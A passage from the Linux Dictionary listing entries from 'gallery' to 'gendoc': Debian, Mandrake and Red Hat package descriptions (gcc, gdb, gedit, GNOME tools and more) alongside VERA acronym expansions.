a web-based photo album written in php Gallery is a web-based photo album with multiple user support. It provides users with the ability to create and maintain their own albums via an intuitive web interface. Photo management includes automatic thumbnail creation, image resizing, rotation, ordering, captioning, searching and more. Albums can have read, write and caption permissions per individual authenticated user for an additional level of privacy. Created in an effort to prevent well meaning folks from sending obscenely large photos by email, Gallery provides an easy place for friends and relatives to create and maintain their own photo albums. The upstream web site is: <http://gallery.sf.net> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

galrey

Command line image gallery generator. It also makes thumbnails. Galrey is a command line image gallery generator. It takes your pictures and creates thumbnails and browsable HTML pages. Galrey also allows you to add a comment for each image. The HTML output can be fully customized editing the template file. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gamix

Graphical mixer for ALSA using gtk+. This package contains a graphical front-end (using the GTK+ toolkit) to the ALSA native mixer device. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GAN

Global Area Network From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GAP

Generic Access Profile (DECT, Europe) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GAP

Generic Address Parameter From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

garchiver

Archiver with a WinZip and a tree interface, and full drag and drop. garchiver is an archiver for Gnome. It has a tree interface that lets you navigate through your archives very easily, as well as the classic WinZip interface. File can be dragged from a file manager and dropped on garchiver. Single files can be extracted with or without the path they were in. It currently fully supports .zip, .tar, .tar.gz, .tar.bz2, .tar.Z. Extracting and viewing of rar and arj archives is working, but not stable. It uses python modules to do all the work, so it is very easy to extend. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

garlic

[Chemistry] a free molecular visualization program Garlic is probably the most portable molecular visualization program in the Unix world. It's written for the investigation of membrane proteins. It may be used to visualize other proteins, as well as some geometric objects. The name should have something to do with the structure and operation of this program. This version of garlic recognizes PDB format version 2.1. Garlic may also be used to analyze protein sequences. Features include (but not limited to):

- o The slab position and thickness are visible in a small window.
- o Atomic bonds as well as atoms are treated as independent drawable objects.
- o The atomic and bond colors depend on position. Five mapping modes are available (as for slab).
- o Capable to display stereo image.
- o Capable to display other geometric objects, like membrane.
- o Atomic information is available for atom covered by the mouse pointer. No click required, just move the mouse pointer over the structure!
- o Capable to load more than one structure.
- o Capable to draw Ramachandran plot, helical wheel, Venn diagram, averaged hydrophobicity and hydrophobic moment plot.
- o The command prompt is available at the bottom of the main window. It is able to display one error message and one command string.

Author: Damir Zucic (zucic@pref.etfos.hr), University of Osijek, Croatia. Keywords: molecular visualization, protein structure, DNA structure, PDB, molecular rendering, biological macromolecule
From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GART

Graphics Address Remapping Table (AGP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GASH

Group Admin SHell (Unix, Shell) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gaspell

Gnome front end to the aspell spell checker Gnome frontend to the Aspell library. It has a 'Lookup' facility to look up definitions from online dictionaries using the dict protocol. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gasql

Database administration tool gASQL is a program which helps administer a DBMS database using the gnome-db framework (see <http://www.gnome-db.org/> for more information about gnome-db). Basically, it memorizes all the structure of the database, and some queries, and does the SQL queries instead of the user (not having to type all over again those SQL commands, although it is still possible to do so). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gateway

A network device or machine that connects a local private network to another network or the Internet. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gateway

A program or piece of hardware that passes data between networks. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Gateway

The technical meaning is a hardware or software set-up that translates between two dissimilar protocols, for example America Online has a gateway that translates between its internal, proprietary e-mail format and Internet e-mail format. Another, sloppier meaning of gateway is to describe any mechanism for providing access to another system, e.g. AOL might be called a gateway to the Internet. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gato

GUI interface to the "at" command. Gato is a GTK interface to the "at" command. The "at" command is the standard Unix way to allow you to schedule commands to be run sometime in the future. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gatos

ATI All-in-Wonder TV capture software The General ATI TV and Overlay Software (GATOS) suite for capturing video. This package does not require kernel patches, and includes: * xatitv: GUI

TV-in-a-window application GUI access to all GATOS functionality, save tv-out. * atitv: Simple text-mode program Basic functionality to record video and toggle tv-out. * atitoppm: * atitogif: * atitjpg: YUV conversion utilities * yuvsum: video field to frame converter Averages all images in gatos.yuv (must all be same size). * atisplit: YUV conversion to ucbmpeg This splits the output file for MPEG encoding. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GAWK

GNU AWK (GNU, AWK) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gawk

GNU awk, a pattern scanning and processing language `awk', a program that you can use to select particular records in a file and perform operations upon them. Gawk is the GNU Project's implementation of the AWK programming language. It conforms to the definition of the language in the POSIX 1003.2 Command Language And Utilities Standard. This version in turn is based on the description in The AWK Programming Language, by Aho, Kernighan, and Weinberger, with the additional features defined in the System V Release 4 version of UNIX awk. Gawk also provides more recent Bell Labs awk extensions, and some GNU-specific extensions. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GB

GigaByte From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gb

Gnome Basic – VB compatible Basic for GNOME Gnome Basic is an embryonic attempt to provide Visual Basic compatible functionality for the GNOME project, particularly with respect to office (VBA) compatibility. This package provides the command-line Gnome Basic controller. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GB

GuoBao [codepage] From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Gb

see gigabit. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GB

see gigabyte. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gbase

small numeric base converter If you specify a number on the command line (preceded by a switch to describe the base the number is in) the program will display that number in all four bases on the console and exit. You can also specify the -s switch which will allow you to enter/display signed numbers. (This allows the use of a - (minus) before a decimal number). Just running the program without any switches will display the main window. There are four entry boxes, corresponding to each of the four bases. You can type into any of these boxes and the others will update automatically. The program will ignore any characters that are not allowed for that particular base. It will only allow a - (minus) at the start of a decimal number, if the signed option is on. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gbatnav

networked BattleShip game Batalla Naval is a networked BattleShip game. It supports multiple players and multiple robots at the same time. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gbib

user-friendly editor and browser for BibTeX databases You can use it also to insert citations inside a LyX document. gBib is able to import and export BiBTeX databases. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gbiff

A mail notification program supported GTK+ and Gnome gbiff checks for mail within a file, a qmail or MH style dir, or an IMAP4 or a POP3 server. It can display headers (number, sender, subject, and

date) when new mail has arrived. It interprets any ISO-8859 encoding and supports both GTK and GNOME. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GBIP

General Purpose Interface Bus From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GBPS

GigaBits Per Second From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gbuffy

A GTK+-based, XBuffy-like multiple mailbox "biff" program GBuffy will poll multiple mailboxes for new mail. It will list the number of new messages in each mailbox you configure. It will also highlight the mailboxes which have new mail. Pressing the left mouse button on a mailbox with new mail will display the Sender and Subject of each new message. Additionally, GBuffy will display the X-Face header for messages which have them. Pressing the middle mouse button on a mailbox will launch the configured command, generally a command to read the mailbox with your favorite mailreader. Pressing the right mouse button will bring up the configure menu. GBuffy is currently capable of watching MBOX, MMDF, Maildir and MH Folders. This version also supports IMAP4rev1 and NNTP with XOVER mailboxes. Support for an external program for notification is planned. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GC

Global Catalog (MS, AD) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gc

Utility to calculate bearing and range to a location Gcb computes Great Circle Bearing and Range given the latitude and longitude (degrees and minutes). You must input the lat/long of the two stations. The output will then be relative from station1 to station2. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GCA

General Communications Architecture (Ingres) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GCAD

Geographical Computer Aided Design System From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gcal

Prints calendars Gcal displays a calendar for a month or a year, eternal holiday lists and fixed date lists, in many ways. The program correctly omits the dates that were skipped when the current Gregorian calendar replaced the earlier Julian calendar. Apart from the usual and well known calendar functions like the output of a month or a year calendar sheet, or the output of an eternal holiday list, Gcal offers the facility to display fixed dates on the day of their occurrence and to remind or inform the user about them. So it's imaginable after booting the computer or starting the work session, that the user is informed on screen or by means of electronic mail, about all holidays or appointments which are observed or scheduled for that day. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gcardscheme

GNOME applet for changing PCMCIA-CS schemes. GCardScheme is a GNOME applet for changing PCMCIA-CS card schemes. Schemes allow for multiple configurations without having to change configuration files (e.g. different schemes for home and office networks). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GCATT

Georgia Center for Advanced Telecommunications Technology (org., USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gcc

Linux Dictionary

A compiler aimed at integrating all the optimizations and features necessary for a high-performance and stable development environment. This package is required for all other GCC compilers, namely C++, Fortran 77, Objective C and Java. If you have multiple versions of GCC installed on your system, it is preferred to type "gcc-\$(gcc3.2-version)" (without double quotes) in order to use the GNU C compiler version 3.2.2. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GCC

GNU C Compiler (GNU) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GCC

The GNU C compiler by Richard Stallman et al. A very high quality, very portable compiler for C, C++ and Objective C. The compiler is designed to support multiple front-ends and multiple back-ends by translating first into Register Transfer Language and from there into assembly code for the target architecture. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gccchecker

Memory access debugger for C language development Checker automatically finds: * null pointer dereferences (read, write, and execute accesses) * writes to read-only memory * accesses to free blocks (read, write, and execute) * reads of uninitialized bytes (in automatic and dynamic memory) * reads/writes to "red zones" (in automatic and dynamic memory) * reads/writes/executes outside memory segments * free called with address not obtained from malloc * free an already freed block * ...and many other kinds of memory and API errors. Checker's main disadvantage is that it causes the program to run much slower. You can compile your program to use Checker by replacing calls to gcc by calls to checkergcc. Please read the documentation in /usr/share/doc/gccchecker. This version of Checker works only with GNU gcc 2.95. It will not work with earlier or later versions. There is limited support for C++, with no support for libstdc++. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gccmakedep

create dependencies in makefiles using 'gcc -M' From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GCCS

Global Command and Control System (DISA, mil.) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gcdb

MySQL/PHP billing system. gcdb is a GUI to a MySQL database. It supports Customer, Payment, Invoice, Account, and Trouble Ticket entries. Records can be added, edited, or deleted. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gcdmaster

Create audio CDs and write them in disk-at-once mode gcdmaster allows creation and editing of audio CD images in an easy to use GNOME environment. It can read audio CDs with jitter compensation for outstanding quality, add CD-TEXT and perform direct CD to CD copies. gcdmaster is a graphical version of the cdrdao command-line utility. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gch

Ada quality & style checker This is an ASIS application that enforces various quality and style rules, including those from the Ada Quality and Style Guide. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gcharmap

the GNOME Character Map From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GCID

Global Call Identifier From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GCIDIE

Global Call Identifier– Information Element (GCID), "GCID–IE" From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

gcj

The GNU Java compiler. GCJ is a front end to the GCC compiler which can natively compile both Java(tm) source and bytecode files. The compiler can also generate class files. This is a dependency package providing the default GNU Java compiler for Debian GNU/Linux systems (version 3.0.4 for architecture i386). From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

GCL

GNU Common LISP (GNU, LISP) From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

gcl

GNU Common Lisp compiler. GNU Common Lisp (GCL) is a Common Lisp compiler and interpreter implemented in C, and complying mostly with the standard set forth in the book "Common Lisp, the Language I". It attempts to strike a useful middle ground in performance and portability from its design around C. This package contains the Lisp system itself. Documentation is provided in the gcl–doc package. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

GCL

Graphics Command Language From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

gclinfo

Draft ANSI Common Lisp specification in info format This is a draft specification of the ANSI Common Lisp language in the GNU info format. The gclinfo–html package contains the same document in HTML format. GNU Common Lisp specific information can be found in gcl and gcl–doc packages. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

gco

The Gnome Comics Organizer. GCO is a database for keeping track of your comics collection. It supports titles, publishers, types, writers, pencilers, inkers, cover prices, current prices, comments, and much more. It also allows you to sort the list in various ways. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

gcolorsel

the GNOME Color Browser From whatis
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

gcombust

gcombust is a gtk+ frontend for mkisofs, mkhybrid, cdrecord and cdlabgen. It's written in C. It has primitive support for controlling the directory (root) structure and size of image without copying files/symlinking or writing 10 lines of arguments and can maximize disk by hinting which directories/files to use. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

gcombust

GTK+ based CD mastering and burning program gcombust is a GTK+ frontend for mkisofs and cdrecord. Features: * burning on the fly from HD * CD–to–CD copying (audio CD on–the–fly copy is experimental) * makes creation of iso–images easy * maximize CD usage by hinting which directories/files to use * audio CD creation (DAO support) * bootable CD support * multisession support * CD–RW support * cover printing via cdlabgen * save/load path selections (for always burning the same set of files) * save/load settings * tooltips * NLS support * verify From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

gcompris

Educational game for small children GCompris is a framework for educational games for the GNOME desktop, already providing a number of boards. It is meant to become some sort of unified interface for more educational games. In French GCompris is pronounced like "j'ai compris", which means "I Have Understood". Currently available boards include: * learning how to use a mouse and keyboard * learning simple arithmetics * learning how to read an analog clock * recognize letters after hearing their names * reading practice * small games (memory games, jigsaw puzzles, ...) * etc. It is designed so that it is easy to implement new boards to GCompris. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GConf

GConf is the GNOME Configuration database system. GNOME is the GNU Network Object Model Environment. It is an easy touse, powerful, and highly configurable desktop environment. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gconf

GNOME configuration database system. (daemon and tools) GConf is a configuration database system, functionally similar to the Windows registry but lots better. :-) It's being written for the GNOME desktop but does not require GNOME. This package contain gconfd daemon and gconf tools binaries. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gconf-editor

An editor for the GConf configuration system. An editor for the GConf configuration system. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GConf2

GConf is a configuration data storage mechanism scheduled to ship with GNOME 2.0. GConf does work without GNOME however; it can be used with plain GTK+, Xlib, KDE, or even text mode applications as well. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GConf2

GConf is a process-transparent configuration database API used to store user preferences. It has pluggable backends and features to support workgroup administration. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gconf2

GNOME configuration database system. (daemon and tools, for GNOME2) GConf is a configuration database system, functionally similar to the Windows registry but lots better. :-) It's being written for the GNOME desktop but does not require GNOME. This package contain gconfd daemon and gconf tools binaries for GNOME2 From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GCOS

General Comprehensive Operating System (Honeywell, OS, Honeywell Series 60, Honeywell Series 6000) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gcov

test coverage program for GNU CC From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gcpegg

Global Consciousness Project EGG Software The GCP studies data from random event generators in widely distributed locations, to discern non-random patterns that may result from the interaction of human consciousness with the generators. This package provides the software required to operate a random event generator and return data to the project. Unless you are registered with the GCP and have received event generator hardware, this package will be useless to you. If you have no idea what this means, don't bother installing this package! More GCP information is available at

<http://noosphere.princeton.edu>. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GCR

Gray Component Replacement (RGB, CYMK, DTP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GCR

Group Coded Recording From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GCR A

Generic Cell Rate Algorithm (UNI, ATM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gcrontab

GTK crontab editor gcrontab is a simple GTK editor for the UNIX cron system. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GCS

Greek Computer Society (org., Griechenland) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GCS

Group Control System (IBM, VM, VME, VM/ESA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gcvs

gtk+ front-end for cvs An advanced, easy to use C++ front-end for cvs distributed under the GPL. gCvs features: – gCvs is part of the CvsGui project and shares a large portion of code with WinCvs and MacCvs, both of which are fairly mature. – gCvs is written in C++ using GNU gtk+. – Uses the latest cvs source code. – Makes cvs easier for the novice. – Increases the power of cvs by providing an high-end interface. – The project is growing because it is supported and developed by several cvs users. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gd

The gd graphics library allows your code to quickly draw images complete with lines, arcs, text, multiple colors, cut and paste from other images, and flood fills. The library will write out the result as a PNG or JPEG file. This is particularly useful in Web applications, where PNG and JPEG are two of the formats accepted for inline images by most Web browsers. Note that gd is not a paint or graphics manipulation program. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GDA

Global Directory Agent (DCE) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gdancer

Visualization plug-in for xmms GDancer is a plugin to animate characters to the beat of the music. The default character is Space Ghost, but you can use and make your own characters through themes. You can find more theme here: <http://figz.com/gdancer/themes.php> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GDAP

Government Document Application Profile From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gdb

Gdb is a full featured, command driven debugger. Gdb allows you to trace the execution of programs and examine their internal state at any time. Gdb works for C and C++ compiled with the GNU C compiler gcc. If you are going to develop C and/or C++ programs and use the GNU gcc compiler, you may want to install gdb to help you debug your programs. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gdb

GDB, the GNU debugger, allows you to debug programs written in C, C++, and other languages, by executing them in a controlled fashion and printing their data. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GDB

GNU DeBugger (GNU) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gdb

The GNU Debugger GDB is a source-level debugger, capable of breaking programs at any specific line, displaying variable values, and determining where errors occurred. Currently, it works for C, C++, Fortran Modula 2 and Java programs. A must-have for any serious programmer. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gdbm

Gdbm is a GNU database indexing library, including routines which use extensible hashing. Gdbm works in a similar way to standard UNIX dbm routines. Gdbm is useful for developers who write C applications and need access to a simple and efficient database or who are building C applications which will use such a database. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GDBM

GNU Data Base Manager (DB, GNU) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gdbserver

Remote Server for the GNU Debugger From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GDD

Gesellschaft fuer Datenschutz und Datensicherung (org.) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GDDM

Graphical Data Display Manager (IBM) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GDI

Graphical Device / Display Interface From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gdialog

display dialog boxes from shell scripts From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gdiet

Gnome client for MIT dictionary server From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gdis

molecular display A GTK based program for the display and manipulation of isolated molecules and periodic systems. It is in development, but is nonetheless fairly functional. It has the following features: * Support for several file types (CIF, BIOSYM, XYZ, XTL, MARVIN, and GULP) * A simple molecular creation and manipulation tool * A dialogue for creating starting configurations for molecular dynamics simulations * Assorted tools for visualization (geometry information, region highlighting, etc.) * Animation of BIOSYM files (also rendered animations, see below) GDIS also allows you to perform the following functions through other packages: * Model rendering (courtesy of POVray) * Energy minimization (courtesy of GULP) * Morphology calculation (courtesy of cdd) * Space group processing (courtesy of SgInfo) * View the Periodic Table (courtesy of GPeriodic) * Load additional filetypes, such as PDB (courtesy of Babel) <http://gdis.seul.org/> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gdiskfree

GNOME utility to monitor disk space usage From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gdk-imlib1

Gdk-Imlib is an imaging library for use with gtk Gdk-Imlib is a low-level gdk interface for gtk programmers. It allows easier access to many graphics formats and can write to them as well. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gdk-pixbuf

The gdk-pixbuf package contains an image loading library used with the GNOME desktop environment. The GdkPixBuf library provides image loading facilities, the rendering of a GdkPixBuf into various formats (drawables or GdkRGB buffers), and a cache interface. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gdk-pixbuf-gnome

GNOME-dependent portions of the gdk-pixbuf image loading library. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gdk-pixbuf-loaders

The GdkPixBuf library provides a number of features: – Image loading facilities. – Rendering of a GdkPixBuf into various formats: drawables (windows, pixmaps), GdkRGB buffers. This package provides image loaders used by all versions of GdkPixBuf From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gdkxft-capplet

gtk+-1.2 anti-aliased font support control panel *** THIS WILL CAUSE APPLICATIONS TO CRASH, DIE, LOSE INFORMATION, AND OTHER NASTY EFFECTS. DON'T USE THIS IF YOU WANT STABILITY *** This gnomecc capplet can assist in managing the use of libgdkxft. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gdm

Gdm (the GNOME Display Manager) is a highly configurable reimplementaion of xdm, the X Display Manager. Gdm allows you to log into your system with the X Window System running and supports running several different X sessions on your local machine at the same time. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gdmchooser

GNOME Display Manager host chooser window From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GDMI

Generic Definition of Management Information From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gdmlogin

GNOME Display Manager greeting window From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GDMO

Guidelines for the Definition of Managed Objects (OSI) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GDOS

Graphics Device Operating System (OS, Atari) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GDOUG

Greater Detroit OS/2 User Group (org., user group, OS/2, USA) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GDPDU

Grundsätze zum Datenzugriff und zur Prüfbarkeit Digitaler Unterlagen (BMF), "GDPdU" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GDRROM

??? Read Only Memory (Sega, ROM), "GD-ROM" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GDS

Linux Dictionary

Generalized Data Stream (IBM, APPC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GDS

Global Directory Service (DCE) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GDT

Global Descriptor Table From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gdclft

Tcl interface to GD graphics creation library. This package provides a simple Tcl interface to the gd (PNG drawing) package, version 1.3. It includes an interface to all the gd functions and data structures from Tcl commands. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GDTRC

Global Descriptor Table Register Cache (GDT, Intel, CPU) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GE

General Electric (manufacturer, GE) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

geas

GNU Enterprise Application Server The GNU Enterprise Application Server provides a way to do CORBA communication without having to understand CORBA. It turns relational data structures into objects for use by a client. Methods are written in Python. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GECOS

General Electric Comprehensive Operating Supervisor / System (OS, GE, GCOS, predecessor, Honeywell) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

geda

GNU EDA -- Electronics design software GNU EDA, an electronics design package, including gschem, a schematic editor. This is alpha software! From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gedit

gEdit is a small text editor designed specifically for the GNOME GUI desktop. gEdit includes a plug-in API (which supports extensibility while keeping the core binary small), support for editing multiple documents using notebook tabs, and standard text editor functions. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gedit

Light-weight text editor Gedit has all the basic features you come to expect from a simple text editor, but Gedit has a native graphic user interface (GUI). Gedit also has command line arguments available to users to quickly and easily view and edit files from a terminal. Overall, Gedit is an easy to use text editor with utilizing the powerful capabilities of the GNOME desktop. Gedit has a versatile plug-in architecture to extend its capabilities. This allows you to perform functions you don't normally expect from a text editor, such as piping the output of a shell command to the screen. The plug-in architecture also lets you email people, browse the internet, or produce a diff from gedit. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

geekcode

Program for generating geekcode. This is a program for generating the geekcode. See <http://www.geekcode.com> for more info and for discovering if you need the geekcode. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

geg

a GTK+ Equation Grapher geg is a very simple utility for parsing and plotting 2D-functions, eg $f(x) = 3 + \sin(x)$, and much more complicated functions of course. It is written with GTK+ and provides a

neat, configurable user interface. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GEI

Gesellschaft fuer Elektronische Informationsverarbeitung [mbH] (manufacturer, Aachen) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GEIST

German Encyclopedic Internet Service Terminal (org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GEM

Generalized Executive for realtime Multiprocessor applications (OS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GEM

Graphics Environment Manager (DR, PC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gemdropx

Gem Drop X is an interesting one-player puzzle game for X11 The game is played with YOU at the bottom of the screen. At the top is a random assortment of colored shapes ("gems"). As time goes on, more gems appear at the very top of the screen, pushing the rest downwards. The game is over when the gems reach the bottom. It's your job to keep the screen from filling up. You do this by "grabbing" gems from the top of the screen, carrying them around, if need be, and "throwing" them back up. If, when you throw some gems back up, you create a "match" of 3 or more gems in a vertical column, they disappear (with a cool little explosion). At this point, if there are any "matches" of the same gem to the left or right of this column, they disappear too! And so on. This is great for cool chain-reactions! You also get more points for the more gems that disappear in a match. (Matching four gives as many points as matching three twice, for example.) From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gendiff

utility to aid in error-free diff file generation From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GENDIST

GENDIST (the Linux Distribution Generator) allows you to create your own special mini-distribution. It creates a makefile-based build system for your distribution, and helps you to automate the following three tasks: maintaining your root filesystem, maintaining your "CD filesystem" (in case you create a bootable CD), and packaging everything on media. GENDIST 1.4.7 (Stable) was released December 29, 2002. A 'special purpose/mini' distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gendoc

Documentation generation from Python source files From whatis
